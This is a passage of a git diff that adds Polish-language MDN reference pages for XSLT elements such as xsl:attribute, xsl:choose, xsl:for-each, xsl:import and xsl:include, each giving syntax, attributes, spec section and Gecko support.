@@ -0,0 +1,34 @@
+---
+title: attribute
+slug: Web/XSLT/attribute
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XSLT/Element/attribute
+---
+<p>
+{{ XsltRef() }}
+</p><p>Element <code>&lt;xsl:attribute&gt;</code> tworzy w dokumencie wyjściowym atrybut używając dowolnej wartości dostępnej z arkusza. Element musi być pierwszą rzeczy zdefiniowaną w dokumencie wyjściowym, dla którego ustala on wartość atrybutu.
+</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre>&lt;xsl:attribute name=NAZWA namespace=URI&gt;
+ SZABLON
+&lt;/xsl:attribute&gt;</pre> <h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3>
+<dl><dt><code>name</code>
+</dt><dd>Określa nazwę atrybutu, który ma zostać utworzony w dokumencie wyjściowym. Nazwa musi być poprawną wartością QName.
+</dd></dl>
+<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3>
+<dl><dt><code>namespace</code>
+</dt><dd>Określa dla atrybutu URI przestrzeni nazw w dokumencie wyjściowym. Nie można za pomocą tego elementu ustawić pokrewnego prefiksu przestrzeni nazw.
+</dd></dl>
+<h3 id="Typ" name="Typ"> Typ </h3>
+<p>Instrukcja, pojawia się wewnątrz szablonu lub elementu <code>&lt;xsl:attribute-set&gt;</code>.
+</p>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p>XSLT, sekcja 7.1.3.
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje.
+</p>{{ languages( { "en": "en/XSLT/attribute", "es": "es/XSLT/attribute", "fr": "fr/XSLT/attribute" } ) }}
diff --git a/files/pl/web/xslt/call-template/index.html b/files/pl/web/xslt/call-template/index.html
new file mode 100644
index 0000000000..283e041fec
--- /dev/null
+++ b/files/pl/web/xslt/call-template/index.html
@@ -0,0 +1,32 @@
+---
+title: call-template
+slug: Web/XSLT/call-template
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XSLT/Element/call-template
+---
+<p>
+{{ XsltRef() }}
+</p><p>Element <code>&lt;xsl:call-template&gt;</code> wywołuje szablon o podanej nazwie. </p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre>&lt;xsl:call-template name=NAZWA&gt;
+ &lt;xsl:with-param&gt; [opcjonalnie]
+&lt;/xsl:call-template&gt; </pre>
+<h3 id="Wymagany_atrybut" name="Wymagany_atrybut"> Wymagany atrybut </h3>
+<dl><dt><code>name</code>
+</dt><dd>Określa nazwę szablonu, który ma zostać wywołany.
+</dd></dl>
+<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3>
+<p>Brak.
+</p>
+<h3 id="Typ" name="Typ"> Typ </h3>
+<p>Instrukcja, pojawia się wewnątrz szablonu. </p>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p>XSLT, sekcja 6.
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje.
+</p>{{ languages( { "en": "en/XSLT/call-template", "es": "es/XSLT/call-template", "fr": "fr/XSLT/call-template" } ) }}
diff --git a/files/pl/web/xslt/choose/index.html b/files/pl/web/xslt/choose/index.html
new file mode 100644
index 0000000000..319ed34d09
--- /dev/null
+++ b/files/pl/web/xslt/choose/index.html
@@ -0,0 +1,35 @@
+---
+title: choose
+slug: Web/XSLT/choose
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XSLT/Element/choose
+---
+<p>
+{{ XsltRef() }}
+</p><p>Element <code>&lt;xsl:choose&gt;</code> definiuje wybór spośród określonej liczby wyborów alternatywnych. Przypomina w działaniu wyrażenie switch znane z proceduralnych języków programowania.
+</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre>&lt;xsl:choose&gt;
+ &lt;xsl:when test="[cokolwiek do sprawdzenia1]"&gt;&lt;/xsl:when&gt;
+ &lt;xsl:when test="[cokolwiek do sprawdzenia2]"&gt;&lt;/xsl:when&gt;
+ &lt;xsl:otherwise&gt;&lt;/xsl:otherwise&gt; [opcjonalnie]
+&lt;/xsl:choose&gt;</pre>
+<h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3>
+<p>Brak.
+</p>
+<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3>
+<p>Brak.
+</p>
+<h3 id="Typ" name="Typ"> Typ </h3>
+<p>Instrukcja. Pojawia się wraz z szablonem. Zawiera jeden lub więcej elementów <code>&lt;xsl:when&gt;</code> i opcjonalnie końcowy element <code>&lt;xsl:otherwise&gt;</code>.
+</p>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p>XSLT, sekcja 9.2.
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje.
+</p>{{ languages( { "en": "en/XSLT/choose", "es": "es/XSLT/choose", "fr": "fr/XSLT/choose" } ) }}
diff --git a/files/pl/web/xslt/comment/index.html b/files/pl/web/xslt/comment/index.html
new file mode 100644
index 0000000000..0c0fa5cba8
--- /dev/null
+++ b/files/pl/web/xslt/comment/index.html
@@ -0,0 +1,31 @@
+---
+title: comment
+slug: Web/XSLT/comment
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XSLT/Element/comment
+---
+<p>
+{{ XsltRef() }}
+</p><p>Element <code>&lt;xsl:comment&gt;</code> zapisuje komentarz do dokumentu wyjściowego. Może zawierać tylko tekst. </p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre>&lt;xsl:comment&gt;
+ SZABLON
+&lt;/xsl:comment&gt; </pre>
+<h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3>
+<p>Brak.
+</p>
+<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3>
+<p>Brak.
+</p>
+<h3 id="Typ" name="Typ"> Typ </h3>
+<p>Instrukcja, pojawia się wewnątrz szablonu. </p>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p>XSLT, sekcja 7.4.
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje.
+</p>{{ languages( { "en": "en/XSLT/comment", "es": "es/XSLT/comment", "fr": "fr/XSLT/comment" } ) }}
diff --git a/files/pl/web/xslt/copy-of/index.html b/files/pl/web/xslt/copy-of/index.html
new file mode 100644
index 0000000000..c458c88fdc
--- /dev/null
+++ b/files/pl/web/xslt/copy-of/index.html
@@ -0,0 +1,32 @@
+---
+title: copy-of
+slug: Web/XSLT/copy-of
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XSLT/Element/copy-of
+---
+<p>
+{{ XsltRef() }}
+</p><p>Element <code>&lt;xsl:copy-of&gt;</code> tworzy głęboką kopię (włączając węzły potomka) cokolwiek atrybut select określi do dokumentu wyjściowego.
+</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre>&lt;xsl:copy-of select=WYRAZENIE /&gt; </pre>
+<h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3>
+<dl><dt><code>select</code>
+</dt><dd>Używa wyrażenia XPath, które określa co ma zostać skopiowane.
+</dd></dl>
+<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3>
+<p>Brak.
+</p>
+<h3 id="Typ" name="Typ"> Typ </h3>
+<p>Instrukcja, pojawia się wewnątrz szablonu.
+</p>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p>XSLT, sekcja 11.3.
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje.
+</p>{{ languages( { "en": "en/XSLT/copy-of", "es": "es/XSLT/copy-of", "fr": "fr/XSLT/copy-of" } ) }}
diff --git a/files/pl/web/xslt/copy/index.html b/files/pl/web/xslt/copy/index.html
new file mode 100644
index 0000000000..ffc164b603
--- /dev/null
+++ b/files/pl/web/xslt/copy/index.html
@@ -0,0 +1,32 @@
+---
+title: copy
+slug: Web/XSLT/copy
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XSLT/Element/copy
+---
+<p>
+{{ XsltRef() }}
+</p><p>Element <code>&lt;xsl:copy&gt;</code> przenosi kopię powierzchni (węzeł i powiązany węzeł przestrzeni nazw) obecnego węzła do dokumentu wyjściowego. Nie kopiuje potomków lub atrybutów obecnego węzła. </p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre>&lt;xsl:copy use-attribute-sets=LISTA-NAZW&gt;
+ SZABLON
+&lt;/xsl:copy&gt;</pre>
+<h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3>
+<p>Brak.
+</p>
+<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3>
+<dl><dt><code>use-attribute-sets</code>
+</dt><dd>Lista zestawów atrybutu, które powinny być zastosowane do węzła wyjściowego, jeśli jest to element. Nazwy zestawów powinna być oddzielona za pomocą białych znaków.
+</dd></dl>
+<h3 id="Typ" name="Typ"> Typ </h3>
+<p>Instrukcja, pojawiająca się wewnątrz szablonu. </p>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p>XSLT, sekcja 7.5.
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje.
+</p>{{ languages( { "en": "en/XSLT/copy", "es": "es/XSLT/copy", "fr": "fr/XSLT/copy" } ) }}
diff --git a/files/pl/web/xslt/decimal-format/index.html b/files/pl/web/xslt/decimal-format/index.html
new file mode 100644
index 0000000000..7effc29b96
--- /dev/null
+++ b/files/pl/web/xslt/decimal-format/index.html
@@ -0,0 +1,73 @@
+---
+title: decimal-format
+slug: Web/XSLT/decimal-format
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XSLT/Element/decimal-format
+---
+<p>
+{{ XsltRef() }}
+</p><p>Element <code>&lt;xsl:decimal-format&gt;</code> definiuje znaki i symbole, które mają być użyte podczas konwersji liczb na łańcuchy znakowe przez funkcję <i><code>format-number( )</code></i>.
+</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre>&lt;xsl:decimal-format
+ name=NAZWA
+ decimal-separator=ZNAK
+ grouping-separator=ZNAK
+ infinity=ŁANCUCH-ZNAKOW
+ minus-sign=ZNAK
+ NaN=ŁANCUCH-ZNAKOW
+ percent=ZNAK
+ per-mille=ZNAK
+ zero-digit=ZNAK
+ digit=ZNAK
+ pattern-separator=ZNAK /&gt;</pre>
+<h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3>
+<p>Brak.
+</p>
+<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3>
+<dl><dt><code>name</code>
+</dt><dd>Określa nazwę formatu.
+</dd></dl>
+<dl><dt><code>decimal-separator</code>
+</dt><dd>Określa punktowy znak dziesiętny. Domyślną wartością jest (<code>.</code>).
+</dd></dl>
+<dl><dt><code>grouping-separator</code>
+</dt><dd>Określa separator tysięczny. Domyślną wartością jest (<code>,</code>).
+</dd></dl>
+<dl><dt><code>infinity</code>
+</dt><dd>Określa łańcuch znakowy używany do przedstawienia nieskończoności. Domyślną wartością jest łańcuch "<code>Infinity</code>".
+</dd></dl>
+<dl><dt><code>minus-sign</code>
+</dt><dd>Określa znak minusa. Domyślną wartością jest łącznik (<code>-</code>).
+</dd></dl>
+<dl><dt><code>NaN</code>
+</dt><dd>Określa łańcuch znaków, używany gdy wartość nie jest liczbą. Domyślnie jest to łańcuch "<code>NaN</code>".
+</dd></dl>
+<dl><dt><code>percent</code>
+</dt><dd>Określa znak procenta. Domyślną wartością jest (<code>%</code>).
+</dd></dl>
+<dl><dt><code>per-mille</code>
+</dt><dd>Określa znak promila. Domyślną wartością jest (<code>‰</code>).
+</dd></dl>
+<dl><dt><code>zero-digit</code>
+</dt><dd>Określa znak cyfry zero. Domyślną wartością jest (<code>0</code>).
+</dd></dl>
+<dl><dt><code>digit</code>
+</dt><dd>Określa znak, które we wzorze formatu reprezentuje cyfrę. Domyślną wartością jest (<code>#</code>).
+</dd></dl>
+<dl><dt><code>pattern-separator</code>
+</dt><dd>Określa znak rozdzielający dodatnie i ujemne podwzorce we wzorze formatu. Domyślną wartością jest średnik (<code>;</code>).
+</dd></dl>
+<h3 id="Typ" name="Typ"> Typ </h3>
+<p>Element najwyższego poziomu, musi być dzieckiem <code>&lt;xsl:stylesheet&gt;</code> lub <code>&lt;xsl:transform&gt;</code>.
+</p>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p>XSLT, sekcja 12.3.
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje od wersji 1.0 (Mozilla 1.0, Netscape 7.0).
+</p>{{ languages( { "en": "en/XSLT/decimal-format", "es": "es/XSLT/decimal-format", "fr": "fr/XSLT/decimal-format" } ) }}
diff --git a/files/pl/web/xslt/element/element/index.html b/files/pl/web/xslt/element/element/index.html
new file mode 100644
index 0000000000..26d698feec
--- /dev/null
+++ b/files/pl/web/xslt/element/element/index.html
@@ -0,0 +1,36 @@
+---
+title: element
+slug: Web/XSLT/Element/element
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XSLT/Element/element
+---
+<p>
+{{ XsltRef() }}
+</p><p>Element <code>&lt;xsl:element&gt;</code> tworzy element w dokumencie wyjściowym. </p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre>&lt;xsl:element name=NAZWA namespace=URI use-attribute-sets=LISTA-NAZW &gt;
+ SZABLON
+&lt;/xsl:element&gt;</pre>
+<h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3>
+<dl><dt><code>name</code>
+</dt><dd>Określa żądaną nazwę elementu wyjściowego. Nazwa musi być zgodna z QName.
+</dd></dl>
+<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3>
+<dl><dt><code>namespace</code>
+</dt><dd>Określa przestrzeń nazw elementu wyjściowego.
+</dd><dt><code>use-attribute-sets</code>
+</dt><dd>Lista nazwanych zestawów atrybutów, które mają być użyte w elemencie wyjściowym. Nazwa zestawów powinna być oddzielona za pomocą białych znaków.
+</dd></dl>
+<h3 id="Typ" name="Typ"> Typ </h3>
+<p>Instrukcja, pojawia się wewnątrz szablonu.
+</p>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p>XSLT, sekcja 7.1.2.
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje.
+</p>{{ languages( { "en": "en/XSLT/element", "es": "es/XSLT/element", "fr": "fr/XSLT/element" } ) }}
diff --git a/files/pl/web/xslt/element/index.html b/files/pl/web/xslt/element/index.html
new file mode 100644
index 0000000000..4bf3214b92
--- /dev/null
+++ b/files/pl/web/xslt/element/index.html
@@ -0,0 +1,58 @@
+---
+title: Elementy
+slug: Web/XSLT/Element
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XSLT/Element
+---
+<p>
+{{ XsltRef() }}
+Omówione poniżej są dwa typy elementów: elementy top-level (najwyższego poziomu) oraz instrukcje. Element najwyższego poziomu musi pojawić się jako dziecko elementu <code>&lt;xsl:stylesheet&gt;</code> lub <code>&lt;xsl:transform&gt;</code>. Z drugiej strony instrukcja jest powiązana z szablonem. Arkusz może zawierać kilka szablonów. Trzecim typem elementów, nie omówionym tutaj, jest element wyniku literałowego (literal result element - LRE). LRE również pojawia się wewnątrz szablonu. Składa się z dowolnego elementu (nie będącego instrukcją), który powinień być skopiowany jak-jest do dokumentu wynikowego. Przykładem jest element <code>&lt;hr&gt;</code> w arkuszu konwersji HTML.
+</p><p>Podobnie dowolny atrybut w LRE i niektóre atrybuty z ograniczonej liczby elementów XSLT mogą również włączać to, co znane jest pod nazwą szablonu wartości atrybutu. Szablon wartości atrybutu jest po prostu łańcuchem znaków zawierającym osadzone wyrażenie XPath, które jest używane jako wartość atrybutu. W czasie uruchomienia wyrażenie jest oceniane, a wynik jest podstawiany zamiast wyrażenia XPath. Przykładowo: zakładając, że zmienna "&lt;tt&gt;image-dir&lt;/tt&gt;" jest zdefiniowana następująco:
+</p>
+<pre>&lt;xsl:variable name="image-dir"&gt;/images&lt;/xsl:variable&gt;</pre> <p>Wykonywane wyrażenie jest umieszczone w nawiasach klamrowych:
+</p>
+<pre>&lt;img src="{$image-dir}/mygraphic.jpg"/&gt;</pre> <p>Rezulat będzie następujący:
+</p>
+<pre>&lt;img src="/images/mygraphic.jpg"/&gt;</pre> <p>Poniższy spis elementów zawiera opis każdego z nich: składnię, listę wymaganych i opcjonalnych atrybutów, opis typu i pozycji, źródło w rekomendacji W3C oraz opis stopnia, w jakim te elementy są obecnie obsługiwane przez Gecko.
+</p>
+<ul><li> <a href="pl/XSLT/apply-imports">xsl:apply-imports</a>
+</li><li> <a href="pl/XSLT/apply-templates">xsl:apply-templates</a>
+</li><li> <a href="pl/XSLT/attribute">xsl:attribute</a>
+</li><li> <a href="pl/XSLT/attribute-set">xsl:attribute-set</a>
+</li><li> <a href="pl/XSLT/call-template">xsl:call-template</a>
+</li><li> <a href="pl/XSLT/choose">xsl:choose</a>
+</li><li> <a href="pl/XSLT/comment">xsl:comment</a>
+</li><li> <a href="pl/XSLT/copy">xsl:copy</a>
+</li><li> <a href="pl/XSLT/copy-of">xsl:copy-of</a>
+</li><li> <a href="pl/XSLT/decimal-format">xsl:decimal-format</a>
+</li><li> <a href="pl/XSLT/element">xsl:element</a>
+</li><li> <a href="pl/XSLT/fallback">xsl:fallback</a> <i>(nieobsługiwany)</i>
+</li><li> <a href="pl/XSLT/for-each">xsl:for-each</a>
+</li><li> <a href="pl/XSLT/if">xsl:if</a>
+</li><li> <a href="pl/XSLT/import">xsl:import</a> <i>(przeważnie obsługiwany)</i>
+</li><li> <a href="pl/XSLT/include">xsl:include</a>
+</li><li> <a href="pl/XSLT/key">xsl:key</a>
+</li><li> <a href="pl/XSLT/message">xsl:message</a>
+</li><li> <a href="pl/XSLT/namespace-alias">xsl:namespace-alias</a> <i>(nieobsługiwany)</i>
+</li><li> <a href="pl/XSLT/number">xsl:number</a> <i>(częściowo obsługiwany)</i>
+</li><li> <a href="pl/XSLT/otherwise">xsl:otherwise</a>
+</li><li> <a href="pl/XSLT/output">xsl:output</a> <i>(częściowo obsługiwany)</i>
+</li><li> <a href="pl/XSLT/param">xsl:param</a>
+</li><li> <a href="pl/XSLT/preserve-space">xsl:preserve-space</a>
+</li><li> <a href="pl/XSLT/processing-instruction">xsl:processing-instruction</a>
+</li><li> <a href="pl/XSLT/sort">xsl:sort</a>
+</li><li> <a href="pl/XSLT/strip-space">xsl:strip-space</a>
+</li><li> <a href="pl/XSLT/stylesheet">xsl:stylesheet</a> <i>(częściowo obsługiwany)</i>
+</li><li> <a href="pl/XSLT/template">xsl:template</a>
+</li><li> <a href="pl/XSLT/text">xsl:text</a> <i>(częściowo obsługiwany)</i>
+</li><li> <a href="pl/XSLT/transform">xsl:transform</a>
+</li><li> <a href="pl/XSLT/value-of">xsl:value-of</a> <i>(częściowo obsługiwany)</i>
+</li><li> <a href="pl/XSLT/variable">xsl:variable</a>
+</li><li> <a href="pl/XSLT/when">xsl:when</a>
+</li><li> <a href="pl/XSLT/with-param">xsl:with-param</a>
+</li></ul>
+{{ languages( { "en": "en/XSLT/Elements", "fr": "fr/XSLT/\u00c9l\u00e9ments", "ja": "ja/XSLT/Elements" } ) }}
diff --git a/files/pl/web/xslt/fallback/index.html b/files/pl/web/xslt/fallback/index.html
new file mode 100644
index 0000000000..420a32dd23
--- /dev/null
+++ b/files/pl/web/xslt/fallback/index.html
@@ -0,0 +1,32 @@
+---
+title: fallback
+slug: Web/XSLT/fallback
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XSLT/Element/fallback
+---
+<p>
+{{ XsltRef() }}
+</p><p>Element <code>&lt;xsl:fallback&gt;</code> określa, który szablon ma zostać użyty, gdy podane rozszerzenie (lub ostatecznie nowsza wersja) elementu jest nieobsługiwane.
+</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre>&lt;xsl:fallback&gt;
+ SZABLON
+&lt;/xsl:fallback&gt;</pre> <h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3>
+<p>Brak.
+</p>
+<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3>
+<p>Brak.
+</p>
+<h3 id="Typ" name="Typ"> Typ </h3>
+<p>Instrukcja, pojawia się wewnątrz szablonu.
+</p>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p>XSLT, sekcja 15
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>W chwili obecnej nie obsługuje.
+</p>{{ languages( { "en": "en/XSLT/fallback", "es": "es/XSLT/fallback", "fr": "fr/XSLT/fallback" } ) }}
diff --git a/files/pl/web/xslt/for-each/index.html b/files/pl/web/xslt/for-each/index.html
new file mode 100644
index 0000000000..d2f9d387e8
--- /dev/null
+++ b/files/pl/web/xslt/for-each/index.html
@@ -0,0 +1,32 @@
+---
+title: for-each
+slug: Web/XSLT/for-each
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XSLT/Element/for-each
+---
+<p>
+{{ XsltRef() }}
+</p><p>Element <code>&lt;xsl:for-each&gt;</code> zaznacza zbiór węzłów i przetwarza każdy z nich w ten sam sposób. Element ten jest często używany do iteracji zbioru węzłów lub zmiany aktualnego węzła. Jeśli jeden lub więcej elementów <code>&lt;xsl:sort&gt;</code> pojawią się jako dzieci tego elementu, przez przetworzeniem zostanie wywołane sortowanie. W przeciwnym wypadku węzły są przetwarzane w kolejności, w jakiej pojawiają się w dokumencie.
+</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre>&lt;xsl:for-each select=WYRAZENIE&gt;
+ &lt;xsl:sort&gt; [opcjonalnie]
+ SZABLON
+&lt;/xsl:for-each&gt;</pre> <h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3>
+<dl><dt><code>select</code>
+</dt><dd>Używa wyrażenia XPath do zaznaczenia węzłów, które mają zostać przetworzone. </dd></dl>
+<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3>
+<p>Brak.
+</p>
+<h3 id="Typ" name="Typ"> Typ </h3>
+<p>Instrukcja, pojawia się wewnątrz szablonu. </p>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p>XSLT, sekcja 8.
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje.
+</p>{{ languages( { "en": "en/XSLT/for-each", "es": "es/XSLT/for-each", "fr": "fr/XSLT/for-each" } ) }}
diff --git a/files/pl/web/xslt/if/index.html b/files/pl/web/xslt/if/index.html
new file mode 100644
index 0000000000..888e264082
--- /dev/null
+++ b/files/pl/web/xslt/if/index.html
@@ -0,0 +1,33 @@
+---
+title: if
+slug: Web/XSLT/if
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XSLT/Element/if
+---
+<p>
+{{ XsltRef() }}
+</p><p>Element <code>&lt;xsl:if&gt;</code> zawiera atrybut testowy i szablon. Jeżeli wyrażenie testowe zostanie ocenione jako prawdziwe, szablon jest przetwarzany. Element ten jest podobny do instrukcji if w innych językach, jednak aby uzyskać funkcjonalność instrukcji &lt;tt&gt;if-then-else&lt;/tt&gt;, użyj elementu <code>&lt;xsl:choose&gt;</code> wraz z jego dziećmi: <code>&lt;xsl:when&gt;</code> i <code>&lt;xsl:otherwise&gt;</code>.
+</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre>&lt;xsl:if test=WYRAZENIE&gt;
+ SZABLON
+&lt;/xsl:if&gt;</pre>
+<h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3>
+<dl><dt><code>test</code>
+</dt><dd>Zawiera wyrażenie XPath, które może być ocenione (poprzez zasady zdefiniowane poprzez <code>boolean( )</code> jeśli konieczne) jako wartość logiczna Boolean. Jeśli wyrażenie jest prawdziwe, szablon jest przetwarzany; jeśli nie, nie jest podejmowana żadna czynność.
+</dd></dl>
+<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3>
+<p>Brak.
+</p>
+<h3 id="Typ" name="Typ"> Typ </h3>
+<p>Instrukcja, pojawia się wewnątrz szablonu. </p>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p>XSL sekcja 9.1.
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje.
+</p>{{ languages( { "en": "en/XSLT/if", "es": "es/XSLT/if", "fr": "fr/XSLT/if" } ) }}
diff --git a/files/pl/web/xslt/import/index.html b/files/pl/web/xslt/import/index.html
new file mode 100644
index 0000000000..ba7348198e
--- /dev/null
+++ b/files/pl/web/xslt/import/index.html
@@ -0,0 +1,31 @@
+---
+title: import
+slug: Web/XSLT/import
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XSLT/Element/import
+---
+<p>
+{{ XsltRef() }}
+</p><p>Element <code>&lt;xsl:import&gt;</code> jest elementem najwyższego poziomu, który służy do importowania zawartości jednego arkusza do innego. Ogólnie mówiąc zawartość arkusza importowanego posiada niższą ważność od zawartości arkusza importującego. Zostało to ustanowione w odróżnieniu od <code>&lt;xsl:include&gt;</code>, gdzie zawartości dwóch arkuszów - włączanego i włączającego - mają tę samę ważność.
+</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre>&lt;xsl:import href=URI /&gt;</pre> <h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3>
+<dl><dt><code>href</code>
+</dt><dd>Określa URI arkusza stylów do importu.
+</dd></dl>
+<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3>
+<p>Brak.
+</p>
+<h3 id="Typ" name="Typ"> Typ </h3>
+<p>Element najwyższego poziomu, musi pojawić się przed jakimkolwiek dzieckiem <code>&lt;xsl:stylesheet&gt;</code> lub <code>&lt;xsl:transform&gt;</code> w arkuszu importującym.
+</p>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p>XSLT, sekcja 2.6.2.
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Przeważnie obsługiwany, z kilkoma problemami ze zmiennymi i parametrami najwyższego poziomu, od wersji Mozilla 1.0.
+</p>{{ languages( { "en": "en/XSLT/import", "es": "es/XSLT/import", "fr": "fr/XSLT/import" } ) }}
diff --git a/files/pl/web/xslt/include/index.html b/files/pl/web/xslt/include/index.html
new file mode 100644
index 0000000000..2a1a0f84b7
--- /dev/null
+++ b/files/pl/web/xslt/include/index.html
@@ -0,0 +1,31 @@
+---
+title: include
+slug: Web/XSLT/include
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XSLT/Element/include
+---
+<p>
+{{ XsltRef() }}
+</p><p>Element <code>&lt;xsl:include&gt;</code> łączy zawartości dwóch arkuszy. W przeciwieństwie do <code>&lt;xsl:import&gt;</code>, zawartość arkusza włączanego ma tę samą ważność, co zawartość arkusza włączającego.
+</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre>&lt;xsl:include href=URI /&gt;</pre> <h3 id="Wymagane_atrybuty" name="Wymagane_atrybuty"> Wymagane atrybuty </h3>
+<dl><dt><code>href</code>
+</dt><dd>Określa URI arkusza stylów do włączenia.
+</dd></dl>
+<h3 id="Opcjonalne_atrybuty" name="Opcjonalne_atrybuty"> Opcjonalne atrybuty </h3>
+<p>Brak.
+</p>
+<h3 id="Typ" name="Typ"> Typ </h3>
+<p>Element najwyższego poziomu, może pojawić się w dowolnej kolejności jako dziecko <code>&lt;xsl:stylesheet&gt;</code> lub <code>&lt;xsl:transform&gt;</code>.
+</p>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p>XSLT, sekcja 2.6.1.
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje.
